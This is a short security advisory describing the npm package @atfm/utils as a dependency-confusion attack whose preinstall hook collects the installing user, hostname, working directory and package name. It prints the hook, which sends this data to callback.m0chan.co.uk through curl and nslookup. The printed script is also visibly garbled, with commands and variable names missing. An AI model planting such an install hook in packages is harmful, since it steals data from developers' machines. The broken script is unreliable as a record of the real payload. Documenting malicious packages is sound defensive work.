Malicious code in @atfm/utils (npm)

@atfm/[email protected] is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:

b64=$(printf '%s'  |  -w0); pkgsub=$(   | sed ); pkgdns=$(   |  -w0 |    |  -d ); curl -sm5 https://.callback.m0chan.co.uk/; nslookup ..callback.m0chan.co.uk